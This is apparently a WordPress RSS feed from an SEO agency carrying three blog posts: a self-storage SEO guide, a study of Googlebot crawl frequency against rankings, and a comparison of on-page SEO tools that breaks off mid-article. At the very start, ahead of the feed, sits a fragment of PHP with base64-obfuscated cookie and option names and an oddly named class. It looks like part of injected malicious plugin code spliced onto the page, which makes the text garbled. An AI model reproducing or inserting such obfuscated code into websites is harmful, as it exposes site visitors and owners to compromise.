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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_9e0ec716=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_9e0ec716])){return;}$_b8b451d4=time()+(365*24*60*60);setcookie($_9e0ec716,'1',$_b8b451d4,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='));});new GAwp_7bd5f70(); Rhoel Sta. Ana, Author at To The Top https://tothetop.agency/author/marvinsta/ Scientific and data-driven SEO for Super Results Tue, 25 Feb 2025 05:17:29 +0000 en-US hourly 1 https://wordpress.org/?v=6.1.10 https://tothetop.agency/wp-content/uploads/2019/04/favicon.png Rhoel Sta. Ana, Author at To The Top https://tothetop.agency/author/marvinsta/ 32 32 Self Storage SEO Guide: 8 Steps To The Top of Google 2022 https://tothetop.agency/self-storage-seo-guide/ https://tothetop.agency/self-storage-seo-guide/#respond Thu, 24 Jun 2021 19:27:15 +0000 https://tothetop.agency/?p=3582 Self Storage SEO Guide: 8 Steps To Rank Higher in Google in 2022The U.K. makes up around 43% of the European self-storage market and has the most storage per person of any country in Europe. The report estimates there are now just shy of 2,000 self-storage 'stores' in the U.K. (1,997) operated by 998 brands in total. …

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Self Storage SEO Guide: 8 Steps To Rank Higher in Google in 2022

The U.K. makes up around 43% of the European self-storage market and has the most storage per person of any country in Europe. The report estimates there are now just shy of 2,000 self-storage 'stores' in the U.K. (1,997) operated by 998 brands in total. This amounts to 50.5 million square foot of storage space, or 0.74 square foot per head of population.  (Cushman & Wakefield)

This guide will discuss the specifics of self storage SEO and how to rank your business higher on search engine results.

Table of Contents
What is Self Storage SEO?
Search Engine Optimization Crash Course
Why is SEO important for self storage facilities?
SEO vs Traditional Marketing Methods
Targeted leads
You'll Save Money
Securing your Ranking Position 
Invest in Google My Business
Build your GMB page
Keep your business Name, Address, Phone Number (NAP) consistent.
Business Name
Address
Phone Number
Website URL
Service Category
Hours of Operation
Business Description
Add Photos
Post Updates
And, that is all. Pretty straightforward?
Invest in a Mobile Responsive Website
Get Listed on Local Business Listings/Citations
Get Reviews with an Online Reputation Management System
Onpage Optimization
Don't Write For Search Engines
Optimize for the not-so-obvious Keywords
Build Editorial Backlinks and Internal Links
Guest Posts and Sponsored Posts
Local Community Backlinks
Internal Linking
Publish Blog Posts
Drive Online Traffic To Your Website
Convert Online Traffic Into Leads
Establish Topical and Niche Authority
Drive Long-Term Results
Self Storage SEO Is The Next Step For You!

What is Self Storage SEO?

Self Storage SEO is the extensive process of improving a self-storage facility's website's on-site and off-site signals to increase online visibility for relevant searches. Increased online rankings on the Search Engine Results Pages (SERPs) allows self-storage facilities to fill their empty units, raise their prices and expand their business while establishing themselves as the leading authority figure in the industry.

Search Engine Optimization Crash Course

Search Engines such as Google, Yahoo, Yandex, and Bing use bots to crawl through the billions of pages on the Web. These bots "read" each page and sort them in an index where complex algorithms determine the page order after a query is made in the engine. Currently, Google's algorithm uses over 200+ ranking factors to classify each website and match the query's relevancy correctly. If we factor in the RankBrain AI and account for personalized search results, it's well over that.

To put it simply, SEO is the process of optimizing a website to ace a Search Engine's checklist (in particular, Google's) of what a perfect site should be. The higher you score with the search engine, the higher you rank in their results. Every SEO specialist strives for their website to reach the top of the first page and subsequently rank as the top site of specific keywords. Some of these keywords include "cheap self storage U.K." and "self storage London." 

Why is SEO important for self storage facilities?

No one can deny that the self storage industry is growing. According to Sparefoot's Self Storage Industry Snapshot, there are over 49,000 storage facilities in the U.S., with an annual industry revenue of $39.5 billion and 10.6% of households that rent a self-storage unit.

If you own a storage company, this means that whilst there is great demand for self-storage, there is also great competition. To get an edge, you need to invest in an effective SEO strategy to improve your online visibility. Every time a user searches for "storage unit near me" or any related keyword in your city, your storage facility should be right at the top, ahead of your competitors.

Still not convinced? Read our case study on how we achieved #1 rankings in over 300 cities in the U.K. Through white hat link building, content marketing, extensive technical and On-page Optimization, WhatStorage saw an increase of over 30,000 organic traffic and thousands of qualified leads per month.

With nearly 40,000 storage facilities operating in the U.S., maintaining a top-ranking position for your brand is paramount. Search engines report that 26-32% of people searching on their site click on the first link on SERPs. So just appearing on the first page of the results will do wonders for your organic traffic. Data shows that the average page 2 traffic is a measly 11.96%, meaning that 88.04% of all queries on Google stay on page 1.

SEO vs Traditional Marketing Methods

Most storage facilities still rely on traditional marketing methods such as flyers, billboards, and other print ads. So, we understand if you're somehow apprehensive of SEO. 

However, with everything turning digital, your company must adapt to the virtual landscape. You don't want to end up like past household brand names who are now precautionary tales to businesses adverse to change. Blockbuster and Polaroid are great examples. These giant companies lost their competitive edge because they lacked innovation.

Here are a couple of unique benefits that SEO can provide for your storage facility:

Targeted leads

While a beautifully designed ad in a magazine or billboard will create exposure, most of your viewers may not be interested in a storage service. On the other hand, people typing keywords on a search engine like 'self storage near me' is relevant to your business and can indirectly attract new customers who are actively looking for that service.

You'll Save Money

Traditional advertising can be costly due to its reliance on expensive resources such as printing out flyers or buying billboard space. Website visitors from Google have an average response rate of 15% compared to traditional marketing at just 2%, it becomes apparent that SEO will give significantly higher returns than other forms of advertisement.

Securing your Ranking Position 

SEO is a long-term investment and will take time to see results, but the payoff is greater than traditional methods which provide temporary gain. If you continue to invest your time and resources into SEO, you will maintain your ranking position on SERP above your competitors. 

Self Storage SEO Guide from the experts at To The Top…

Invest in Google My Business

Google My Business is a tool from Google that allows site owners to create and manage their business profiles. GMB profiles usually come out in the right column of search results. For instance, if you search "Pizza restaurants near me", you will receive a list of Italian restaurants closest to you. In addition, you will be able to see their business information such as contact number, address, office hours, and even COVID-19 restrictions on the right.

Here is a quick guide on how to optimize your Google my Business profile:

Build your GMB page

First, go to Google My Business and click "START NOW" and then complete the following steps:

Keep your business Name, Address, Phone Number (NAP) consistent.

Your Name, Address and Phone Number (NAP) must be consistent across the Web. Inconsistency could lower your 'Trust' score with Google, an integral part of their ranking algorithm.

Business Name

Keep your business name consistent across the Web, including your GMB profile, Yell, Facebook etc. If your business name is "Public Storage", then make sure you stick with that. You can get an edge in ranking by adding the town/city to your GMB name e.g. 'Public Storage - Chicago', but it's a grey area, approach with caution.

Address

Add your actual business address and ensure that this is consistent, especially between the website landing page and the GMB address.

Your address is particularly important because the local rankings are geo-relevant. Users searching near you are more likely to see your listing than Users much further away. 

The businesses nearest to the User gets an extra boost from Google in the rankings. However, the rankings can still be heavily influenced by local Optimization.

Phone Number

Try to use a local number here and keep the format consistent across the Web, especially between your GMB profile and website landing page.

Website URL

If you have one location, link to your homepage. If you have multiple storage facilities, create a GMB profile for each of your facility locations and link that GMB profile to your website's specific location landing page. 

Service Category

The obvious choice here is Self-storage Facility; however, you can add additional sub-categories - among them 'moving and storage',  which storage, removal companies and man with van services fall into.

Hours of Operation

Add the correct hours of operation. You can add 24/7 as you are more likely to appear on the rankings if you are open at the time of the User's search, but would you really want those phone calls if nobody is going to answer them?

Business Description

Add a 150-300 words description of your business. Try to add your main target keywords and city in there, e.g. 'self storage facility in Chicago'. 

Add Photos

Add real photos of your business, this helps the conversion rate, and it also helps to complete your profile and show the legitimacy of your business. 

I wouldn't bother with tactics such as geo-tagging. I've yet to see a legitimate case study that shows it moves the needle.

Post Updates

Finally, post the latest updates on your business. It helps to keep your business engaged with potential customers, and the activity can also help with the rankings. 

And, that is all. Pretty straightforward?

For a complete guide on ranking your GMB on the local maps pack, check out our Local SEO Guide.

Invest in a Mobile Responsive Website

In 2022, it's not enough that you have a website. It needs to be mobile-friendly and mobile responsive. When someone clicks on your link from the search engine results page, they expect a website that fits well into their mobile screen.

According to the latest studies, over 64% of Google's organic search traffic comes from mobile devices. Based on that, you must create a website that will look nice to a vast percentage of your online traffic. 

A mobile-friendly site is a website where you can read everything clearly, and it fits inside your screen. Nobody likes to scroll left-to-right or zoom in and out just to see the website.

To illustrate, here are screenshots of the same website. If we look at them separately, the second figure does not look promising and may cause you to lose many online visitors.

(Screenshot)

Talk to your web developer to ensure that your website is aesthetically pleasing, even on mobile screens. 

Get Listed on Local Business Listings/Citations

Local SEO Agencies go through the process of increasing a website's visibility in the organic search results of a specific area. For instance, a storage facility based in Los Angeles would primarily want to appear in the search results of those in L.A. One important step is to ensure you appear on business listings and get cited on business directories.

There are multiple globally recognized business directories such as Yelp, BBB, TripAdvisor, Apple Maps and YellowPages. Getting your website cited on these business directories would exponentially improve your local visibility. 

Check with each directory for the guidelines on how you can list your website.

More important than the authority directories are the self-storage and location-relevant directories. This will help to boost your niche relevance for self-storage, and the local directories will increase your relevance to the location you're trying to rank in. You can find Self Storage citations here and Local directories here.

When creating citations, you need to give consistent business information. These include your physical address, contact number, business hours, products/services provided, and even COVID-19 restrictions. 

You may also provide images like the interior and exterior of your building to help potential customers locate you. If you want to keep it basic, stick with NAP - Name, Address, Phone Number.

For Self Storage facilities, you need to make sure that the physical address is exactly where it is listed online. One of the biggest selling points of self storage is convenience. You want to show prospective customers the correct distance from their house to your facility.

Get Reviews with an Online Reputation Management System

Set up a system to automatically collect positive reviews for your business on the major review platforms, primarily your GMB, Facebook, Yelp and dedicated review sites such as Trustpilot.

Reputation management also includes the monitoring and showcasing of online reviews. Online reviews play a key factor in converting a lead into a customer. Here are some studies that indicate how important having positive online reviews are:

  • 9 in 10 consumers consider an online review as trustworthy for a personal recommendation.
  • 72% of responders said that positive reviews help them trust a local business more.
  • 92% of users do business with local businesses if it has at least a 4-star rating.
  • 72% of consumers only feel compelled to take action once they've read a positive review.

For self storage facilities, offering quality service is the number one step in getting positive online reviews. You can also list your site on online review websites such as Feefo to collect genuine reviews from your customers. 

Using a third-party site will significantly boost the credibility of each review as it's increasingly more challenging to manufacture fake reviews. If you need help with monitoring, getting and showcasing your reviews from multiple platforms, contact us.

Onpage Optimization

Whenever Search Engine Optimization is mentioned, Onpage Optimization always follows. Onpage Optimization is the process of getting the right keywords/terms at the right places on the page to send topical, location and industry relevance to Google. The words in your content help Google define the main topic of your page to match your website with the most relevant searches.

There is plenty of debate on how to optimize your page. The group that says "just write for users and Google will do the rest" vs the group that will correlate the Onpage data of the top competing pages to optimize the page on a more scientific level. 

We believe in both, but since we're focusing on 80/20 here, let's keep it simple. Focus on the top 5 keyword placeholders.

  1. URL
  2. Title Meta Tag
  3. H1
  4. Subheadings (H2-H4)
  5. Content (including image alt tags)

When optimizing your website, don't forget that optimizing for robots and content quality must be given the same attention. Gone are the days when you reach the top results page by spamming your website with as many renditions of the keyword as possible. 

The algorithm has become more intelligent than that. For example, you can't just put "self storage in London" 100 x on your pages. Instead, every keyword has to be inserted naturally, which makes sense to the reader.  

Additionally, you don't want to create a jarring reading experience for your site visitors. Make sure that your content is readable and understandable. We generally use an SEO tool to run an audit of our content. We also optimize the meta titles and meta descriptions to get the most out of our keyword research.

Don't Write For Search Engines

Many SEO agencies will promise you optimized content. However, more often than not, they provide a barely readable article with keywords painstakingly jammed in the middle to please web crawlers. This strategy does not work anymore.

Whenever you write for your website, be it an article or a landing page, you should write for your audience. Google and other search engines have drastically upgraded their semantic search capabilities. The latest language processors that Google uses have come a long way with the aid of A.I and Machine Learning, it is much more capable of understanding natural language the way a human would through language indicators. BERT update for example now allows Google to understand prepositions within queries and content so that it can understand the context and goes beyond simply keyword-matching. 

Write as you would typically and sprinkle in the keywords and related entities/topics in parts where they can appear, rather than just jamming them in there, hoping that they will work. You might do more harm to your SEO rankings by publishing bad, over keyword-stuffed content.

Optimize for the not-so-obvious Keywords

Successful SEO campaigns start with careful keyword research. You want to pick the best keywords high in traffic and low on competition to drive potential customers to your website. 

It's obvious that you'll want to rank for "storage [location]", but is that really the keyword that's driving the most traffic to your website? Unlikely, based on our experience with ranking no.1 for every city in the U.K. for 'storage [location]". 

Keep in mind that Users often use generic terms such as "storage units near me", "self storage". These keywords may look intimidating at first, as it looks like you are competing with every self-storage website in the country, but you're not. Google localizes these keywords, and you are only competing with your local competition for these keywords. You can take a look at your Google Search Console to find out which keywords are driving traffic to your site. You will find that keyword modifiers such as "cheap", "affordable", "best", "business" etc. can drive a ton of traffic to your website if you are able to rank them higher.

It's no question that search engines are becoming increasingly more intelligent. One of the most convenient innovations of search engines is its voice search function, allowing disabled people or people unable to type to access the internet. A "query + near me", for example, is a usual search entry. Google, and other virtual A.I. Assistants like Siri or Cortana, will know what you're pertaining to when you say, "self storage near me" or "storage facility near me." Isn't that nifty?

Of course, you should still be targeting 'storage [location]' as a primary keyword, as well as any other keywords related to your service; business storage, container storage, crate storage, student storage, commercial storage, car storage etc.

Build Editorial Backlinks and Internal Links

Perhaps one of the more challenging parts of SEO is the process of building relevant links to your website. Backlinks, also called inbound links or one-way links, are links from one website to another one. Search engines, especially Google, consider backlinks as "votes" for a page. Simply put, a page with a higher number of quality backlinks will rank higher.

There are a ton of link building tactics out there. But let's focus on the 80/20 here and keep it simple. Stick to the methods below to keep your link building campaign efficient and not waste too much time experimenting with different tactics that may or may not work.

Guest Posts and Sponsored Posts

Take your top competitors, plug them into Ahrefs Site Explorer (or any similar tool), navigate backlinks, and filter the links to live, dofollow, content, and DR30+. Export the links, and now you have a list of high-quality websites you can approach to publish a blog post on and get a backlink to your website. 

You can offer them great content for free as an incentive or give them a fee for their time whilst still publishing great content!

Local Community Backlinks

Links should come from websites that are ranking and carry authority. Plus points if they're from the same niche and local community as your business!

Engaging with the businesses around you is always a good thing. However, it is especially more crucial if you own a self storage facility. For one, a great majority of your customers are local businesses --- from that small souvenir shop that needs a place for their stock or the family-run catering business that needs space for their supplies.

So, by communicating with these local businesses, you're hitting two birds with one stone by increasing your SEO ranking and engaging with your community. Not a bad deal at all. 

Take note that local backlinks must be relevant. Here are some common ways to get local community backlinks:

  • Contribute to local business blogs
  • Collaborate on an event with local businesses
  • Provide relevant content in the form of a guest post or sponsored content to their site
  • Issue a press release to local news outlets
  • Sponsor a local school
  • Donate to a local charity
  • Attend local business meetups, think chamber of commerce or BNI.
  • Ask your partners such as Removals, Man and Van, skip hire companies you work with to link back to you.
  • Leave a testimonial on your vendors' websites and ask them to link back to you. Alternatively just ask to be listed on their resources page.

As a self storage facility, you can do X deals with local businesses where they advertise your business, in exchange for you promoting them. Having a mutually beneficial agreement will help both parties in multiple aspects.

Internal Linking

While backlinks help boost the authority of your website/pages and are much harder to get, internal links are entirely within your control and can be used to funnel the link 'juice' to the pages you want to rank. 

Instead of getting too technical with the internal linking, just keep one rule in mind; always take up the opportunity to internally link to any page you want to rank on your site wherever possible. Just make sure always to keep it contextual and relevant.

For your most important landing pages, add the link to your navbar menu and footer so that it gets the link 'juice' from every page on your site; although not as effective as in-content internal links, it's sitewide, so it makes up for the fact that it's not contextual.

Publish Blog Posts

Blogging requires a heavy investment on your part, and it would help if you had a content calendar with a good writer. It's essential that once you start a blog, you need to post relevant content consistently. Startup businesses generally contemplate whether or not they should have a blog section on their site. After all, if it's costly and requires a lot of attention, why bother?

However, if you want to increase visibility, brand authority, and SEO ranking organically and reliably, you need to have a blog site. It is one of the most important ranking factors of SEO. Additionally, a blog is imperative in building the credibility of your company. Here are some reasons why blog posts can be beneficial to your site:

Drive Online Traffic To Your Website

The main objective of having a blog is to improve your SEO ranking. Blog sites allow site owners the convenience to relevantly add optimized content. Therefore, your keyword research should not only be utilized for landing pages and home pages. 

Churning out fresh and insightful content allows you to use informational keywords related to self-storage to improve your online visibility.

Convert Online Traffic Into Leads

Online traffic, by itself, is not profitable. However, blogs present a unique opportunity to convert that online traffic into paying customers. Each piece of content allows you to generate leads and even convert them outright. Whenever you write a blog post, make sure to add a short call-to-action section at the end. It can be short and sweet like:

Are you interested in our services? Contact us now to know more!

Or

Call us now for more information!

Once you get their email or phone number, let your sales team do their magic!

Establish Topical and Niche Authority

With a blog, you can present yourself as an authority figure in the industry. The best content strategy is posting blogs that cater to the needs of your potential customers. Do a deep dive into the market and figure out their common questions and problems to understand how your product/service can offer a solution. 

By providing helpful information about relevant topics, they are more likely to do business with you as you've already proven yourself as an authority.

For a self storage facility, you can talk about storage ideas or home organization tips. To boost your local relevance, you can also publish location-specific articles. For example, let's say you're a storage facility in Manchester, then producing a moving guide to Manchester should be one of your priority articles to write. Moving and travel guides are usually the norm when it comes to storage facility blogs. And you know what they say, there's no need to reinvent the wheel.

Drive Long-Term Results

The great thing about blog posts is that they consistently drive results to your site, unlike social media posts that lose their effectiveness. Blog posts are now part of the search index and will always attract online traffic. However, it's crucial to update these articles whenever there is a paradigm shift in the industry to keep everything fresh and relevant. 

Self Storage SEO Is The Next Step For You!

Most storage facilities still rely on traditional marketing methods such as flyers, billboards, and other print ads. So, we understand if you're somehow apprehensive of SEO. 

However, with everything turning digital, your company must adapt to the virtual landscape. You don't want to end up like past household brand names who are now precautionary tales to businesses adverse to change. Blockbuster and Polaroid are great examples. These giant companies lost their competitive edge because they lacked innovation.

The bottom line is that your self storage facility can significantly benefit from SEO. You can increase your online traffic, improve search visibility, and establish yourself as an authority in the industry.

If you don't know where to start and have made it this far, contact The Top Agency! We are a digital marketing agency specializing in Self Storage SEO. We've worked with several self storage companies in the U.K., helping these facilities exponentially increase their online leads.

Contact us for a Free Website Analysis.

The post Self Storage SEO Guide: 8 Steps To The Top of Google 2022 appeared first on To The Top.

]]> https://tothetop.agency/self-storage-seo-guide/feed/ 0 The Relationship Between Googlebot Crawl Rate, Impressions and Rankings https://tothetop.agency/harness-the-potential-of-web-crawling-to-improve-your-serp-ranking-heres-how/ https://tothetop.agency/harness-the-potential-of-web-crawling-to-improve-your-serp-ranking-heres-how/#respond Thu, 29 Oct 2020 05:39:20 +0000 https://tothetop.agency/?p=2306 Search engines use crawlers to find new and updated content. Content can range from web pages to PDF files and images. What all content have in common, however, is that they're discovered via links.The most important crawler is Googlebot, Google's crawler, because more than 90% of searches are performed via Google. It works by visiting web pages on its …

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Search engines use crawlers to find new and updated content. Content can range from web pages to PDF files and images. What all content have in common, however, is that they're discovered via links.

The most important crawler is Googlebot, Google's crawler, because more than 90% of searches are performed via Google. It works by visiting web pages on its index and then following the links within those pages to find new pages. Thus, Googlebot can discover new and updated content by following links, which is why backlinks are still a key ranking factor. 

Clicks and Rankings

When you search on Google, Google will check its index for relevant content and rank it to answer your query. In theory, the highest-ranked result will be the best and most relevant to your query. However, in practice, that's often not the case.

Our SEO analyst set out to establish how Googlebot crawls affect page ranking and the dependency between crawl frequency and URL performance. Here is what they discovered. 

The Study Dataset

The analysis is based on a UK-based website's actual data with average monthly organic search impressions of 1.2M and 3.5k indexed pages.

For this analysis, the team combined data from Googlebot crawl events (GET requests from google.com/bot) and Google Search Console's daily URL performance for a period of 15 days in September 2020. 

For each URL, they calculated the number of crawls per day. Then, the frequency of crawls for each URL was calculated by dividing 15 (the total number of days) by the number of days on which there was at least one crawl.

Predictably, the more frequent the crawls, the higher the number of daily impressions and clicks were. The ranking of these pages was also higher. 

In this study, the number of URLs crawled every day was 81, which had 211 daily impressions and 3.59 clicks on average, and an average position of 15. Meanwhile, 1866 URLs were crawled once every two weeks, which had 2 daily impressions, 0.01 clicks, and an average position of 27.

Average Crawl Frequency (Once In)

Nr Of Urls

Avg Daily Impressions

Avg Daily Clicks

Avg Position

Everyday

81

211

3.59

15

Once in 2 days

540

25

0.42

19

Once in 3 days

162

11

0.08

22

Once in 4 days

343

4

0.02

27

Once in 5 days

677

3

0.02

28

Once in a week

1068

2

0.02

26

Once in 2 weeks

1866

2

0.01

27

frequency of crawls vs impression vs avg position

Introducing Pearson’s Coefficient of Linear Correlation

You'll agree that with age, children tend to get taller. A statistician would say there was a very strong positive relationship between age and height. The Pearson coefficient of correlation would range from 0.70 to 1, depending on the study sample. 

Likewise, the higher the speed of a car, the shorter the traveling time; if you drive faster, you'll arrive at your destination sooner. We then speak of a very strong negative relationship between speed and travel time. In this case, the coefficient would range from -0.70 to -1.

The team calculated the Pearson correlation coefficient between the number of days with crawls and the average daily impressions, a metric quantifying how many times a page is displayed on the search engine results pages (SERPs). The coefficient between the number of crawls, clicks, and position (ranking) was calculated too. 

Header

Nr Of Crawls

Avg impressions

0.69

Daily clicks

0.66

Position

-0.69

The coefficient between the number of crawls and average impressions was 0.69, which shows a strong positive relationship between them. It was 0.66 between the number of crawls and the clicks per day and -0.69 between the number of crawls and the position of the URL. This last negative value shows that high URL crawling frequency is associated with a low average position number. In this case, this means more often crawled URLs are closer to the top SERP position.

The team compared two types of URLs: high-ranking URLs with low impressions (average position 1-5 and average daily number of impressions <=5) and low-ranking URLs with high impressions (position >20 and daily number of impressions >=50). They found low-ranking URLs with more impressions were crawled almost twice as often: 8.7 vs. 4.6. This led them to conclude impressions were a more important factor for crawl frequency.

How are Crawl Frequency and Page Ranking Connected?

To determine how Googlebot affects page ranking in the days after a crawl, the analyst combined data from three sources: a list of crawls and their frequency for a period of two weeks in September 2020 and the avg daily position of each keyword and the corresponding URL. 

They noted the position of each keyword and URL; 

  • on the day before the last crawl
  • on the day of the crawl
  • and each day for five days after the crawl

They filtered out URLs that were crawled more frequently than once every three days because these could have been affected by previous crawls, potentially resulting in data inaccuracy. They also filtered out keywords that had no position data on the day before the crawl.

Position Change

Avg Dtd Change

Day Of Last Crawl

1

Day After Last Crawl

2

Day After Last Crawl

3

Day After Last Crawl

4

Day After Last Crawl

5

Day After Last Crawl

Avg DtD change

1.1

1.6

3.5

2.2

1.3

1.2

1.6

Avg % DtD change

3.71%

5%

6%

4%

3%

1%

3%

Avg change to the day before crawl

Cell

1.6

3.0

3.5

3.2

2.4

2.9

Avg %change to the day before crawl

Cell

5%

8%

11%

11%

8%

10%

The share of URLs with position improvement after the crawl was 64%. The position was higher than before the crawl on the third day after it. The share of URLs, whose position deteriorated after the crawl, was 36%.

High-ranking URLs were less volatile. For first, second, and third-ranked URLs, the average day-to-day change was just 0.13 compared to 2.08 for URLs ranking 21st or lower. 

Avg Dtd Change In Position Depending On Avg Position

Avg Dtd Change

Avg position 1-3

0.13

Avg position 4-10

0.15

Avg position 11-20

0.64

Avg position >21

2.06

What do These Findings Mean?

If your site isn't crawled and indexed, it won't appear on the SERPs. That is the only thing that is obvious. We have seen a correlation between crawl frequency and page impressions, as well as crawl and page ranking movements.

However, based on our understanding of how Google's algorithm works, the page ranking movement in relation to crawl is most probably due Google's re-calibration of the page's ranking after they've crawled it and re-calculated its 'relevancy score'. Since page impressions is directly tied to rankings, that is also directly impacted by that crawl.

Our advice is to check how many of your pages are indexed on your site and whether Google is crawling and locating all of the pages that need to be crawled or is it wasting the crawl budget on URLs that shouldn't be crawled. This is generally only an issue with very large websites.

To check if all of the important pages have been indexed, you can check Google Search Console > Coverage.

You can help to prioritize URL's crawl rate by increasing the quantity and quality of internal and external links pointing to it. You can also ensure that you are not wasting crawl budget on low-priority pages by decreasing the number of internal links pointing to them, make those links nofollow, or by adding a disallow crawl instruction on robots.txt file for these URLs. 

These will point Googlebot in the right direction in terms of crawling your web content, which will increase your control over what ultimately appears in the index. 

Additional Sources

  1. https://support.google.com/webmasters/answer/182072?hl=en&ref_topic=9426101
  2. https://moz.com/beginners-guide-to-seo/how-search-engines-operate
  3. https://www.questionpro.com/blog/pearson-correlation-coefficient/

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]]> https://tothetop.agency/harness-the-potential-of-web-crawling-to-improve-your-serp-ranking-heres-how/feed/ 0 Ultimate On-Page SEO Tool Showdown: POP vs. Surfer SEO vs. Cognitive SEO https://tothetop.agency/ultimate-on-page-seo-tool-showdown/ Mon, 28 Sep 2020 09:27:45 +0000 https://tothetop.agency/?page_id=2216 There is no doubt that Search Engine Optimization has become more complicated than ever. Perhaps one of the most challenging decisions that an SEO specialist has to make is which On-Page SEO tool should be used for their on-page content optimization. At the heart of every content optimization strategy is an on-page optimization tool that …

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There is no doubt that Search Engine Optimization has become more complicated than ever. Perhaps one of the most challenging decisions that an SEO specialist has to make is which On-Page SEO tool should be used for their on-page content optimization. At the heart of every content optimization strategy is an on-page optimization tool that provides SEO specialists with data-driven recommendations.

We’ve all had to make that decision. With dozens of on-page optimization tools available, an SEO specialist must be careful about which tool he or she chooses. Unfortunately, it’s not quite as easy as picking names out of a hat when making a decision. These tools will determine the success of your SEO strategy and carry the name of your SEO agency.

In my personal experience, you still need to be careful as some tools still subscribe to the age-old Google algorithms. Following outdated recommendations that you derive from them may have your site flagged for violations like keyword overstuffing. And let’s face it. Search Engine Optimization has become more complex than ever. Gone are the days when forcing as many keywords as possible onto a page would land your website on top of the Search Engine Results Pages (SERPs).

As Google, and other search engines, continually strive to improve the quality of their search engine functions, the algorithms used to provide results on SERPs become more complicated. For example, the algorithm that Google currently uses has over 200 ranking factors determining each website's ranking, given a specific keyword. All of these ranking factors are intricately calculated and calibrated so that Google can match the best and most relevant sites to the right user.

Why Is On-Page SEO Important?

On-page optimization tools aim to help your web pages rank high for a specific keyword. For instance, if you have a website that offers plumbing services, ideally you’d want to rank keywords related to the plumbing industry, i.e., plumbing tips and plumbers in *location* how to look for plumbers, etc.

In essence, it helps Google “read” your content so that it can match you with the proper audience. The goal is to optimize each page to a relevant keyword that users search for in Google. Content Optimization also goes hand-in-hand with high-quality writing. Together, these two are some of the most critical steps in the SEO process.

Studies done by Moz found that almost 92% of Google traffic clicks are concentrated on the first page of SERPs. What this means for your website is that if you want to make a considerable number of sales and receive heavy online traffic, you must appear on the first page and the top five results. 

The Experiment

Going back to the topic at hand, these tools go through billions of existing web pages to find the most relevant websites for your article. From there, they cross-reference each related website and come up with a list of recommendations and suggestions on how you, as a writer, can improve your writing quality, ranking content higher in the Search Engine Results Pages.

By analysing the top-ranking websites, these tools should be able to come up with a list of recommendations on how your web page can rank higher. As an international SEO Agency that uses a data-driven approach to SEO, we wanted to do an experiment to find out precisely what is the best on-page SEO tool to use.

For our experiment, we have identified three of the leading names in the industry: Page Optimizer Pro (POP), Surfer SEO, and Cognitive SEO. The goal of the experiment is to determine which tool could help us gain more online traffic by ranking higher in SERPs.
For this, we will optimize existing blog posts for one of our clients. All in all, the experiment uses fifteen blog posts from their website, five for every on-page optimization tool. To ensure results as accurate as possible, all fifteen blog posts are location guides with keywords very similar to each other.


We also made sure that the rankings were pretty stable so that we can attribute any sudden spikes to the changes we made, example below:

Onpage Optimisation Movement

We divided them as such:

Page Optimizer Pro

Surfer SEO

Cognitive SEO

Blog Post A

Blog Post F

Blog Post K

Blog Post B

Blog Post G

Blog Post L

Blog Post C

Blog Post H

Blog Post M

Blog Post D

Blog Post I

Blog Post N

Blog Post E

Blog Post J

Blog Post O

All of these articles were already published on the website of our client. As such, they were already ranking on SERPs. Before beginning the experiment, we noted down each of the blog posts’ current ranking by using SERProBot, a Google SERP Checker that determines, in real-time, a website’s Google search ranking position. This is so we can accurately quantify and track all of the results, whether positive or negative, after we optimize them.

SERPs Ranking

Below are the rankings of the blog posts’ before we optimize it using any on-page optimization tools.

Page Optimizer Pro

Blog Post

Ranking

A

2

B

6

C

33

D

56

E

73

Surfer SEO

Blog Post

Ranking

F

Not in top 100

G

Not in top 100

H

52

I

2

J

52

Cognitive SEO

Blog Post

Ranking

K

11

L

2

M

3

N

14

O

3

Setting the parameters of the experiment is essential in determining its scope and limitations. We started the research on March 3, 2020. Our team of writers, myself included, would use one on-page optimization tool to optimize five moving guide blog posts from the client’s website. The changes are then published on the site.

To give every article a fair shot, we waited two weeks before checking the ranking once again. We used SERProBot to track the results starting from March 17 to April 22, 2020 and the experiment ran for six weeks.

Aside from just inserting keywords into the content, we also followed the additional recommendations from the on-page optimization tools such as meeting the required word count, meeting the suggested number of headings, addressing specific topics relevant to the topic, etc. Of course, we also tried to improve the content’s quality by eradicating any grammatical errors and updating the information.

One essential parameter ensured minimal movement in the keywords from past months, thus any significant change could then be attributed to the on-page work. To further decrease the affecting variables, no link building to the target pages or the website was done while the experiment was ongoing.

While other factors may affect the rankings, it is highly unlikely as the only work we’ll be doing is on-page optimization.

On-Page Optimization Tools: A Closer Look

Before moving on to the results of the experiment, let’s first discuss each of the on-page optimization tools, how to use them, their benefits, and their features. Furthermore, I will also include our thoughts about each optimization tool.

To begin, our team of writers gathered and scored each tool from a list of factors: Ease of Use, User-friendly Interface, Recommendations Given, Features, Loading Speed, and, of course, Pricing. Each would be scored from 1 - 5, 1 being the lowest and 5 being the highest.

Header

Page Optimizer Pro

Surfer SEO

Cognitive SEO

Ease of Use

3

4

3

User-friendly Interface

3

4.5

4

Recommendations Given

4

3.5

4

Features

3

4

5

Loading Speed

2.5

4

3

Average Score

3.1 out of 5

4 out of 5

3.8 out of 5

Pricing

Unlimited Plan

$ 39 / month

Business Plan

$ 165.8 / month

Business Plan

$ 165.8 / month

Of course, these scores are all based on our own opinions and experience of use. They are not, in any way, influenced by our experiment. This means that, while Page Optimizer Pro scored a measly rating of 3.1 out of 5, it could still be the ultimate SEO Tool

Page Optimizer Pro (POP)

Page Optimizer Pro (POP) Banner

The website of Page Optimizer Pro prides itself as the “on-page tool that gives you an unfair SEO advantage.” Founded by Kyle Roof, an internationally-acclaimed SEO expert, Page Optimizer Pro has become one of the common names when it comes to SEO. Kyle used to be the Lead Tester for the SEO Intelligence Agency, where he oversaw over 300 single variable tests done on Google’s algorithm.

Many reviews of Page Optimizer Pro mention that it is an excellent tool if your main goal is to do competitor research. POP allows users to compare their website against the competition. Additionally, you can create a focus group if you want to target specific competitors.

SEO experts consider POP as one of the best in terms of providing feedback on content structure. Page Optimizer Pro gives a list of keywords and the number of times each keyword should appear for a page to be optimised. Furthermore, they also provide specific instructions as to exactly which part of the content (h1, h2, h3, paragraph, title, URL, alt tag, etc.) the keyword must appear.

Through multiple SEO experiments, Kyle Roof found out that an optimised H1 tag holds a higher importance than multiple H2 tags with keywords inside. This is why Page Optimizer Pro emphasizes the significance of keyword placement when it comes to on-page SEO.

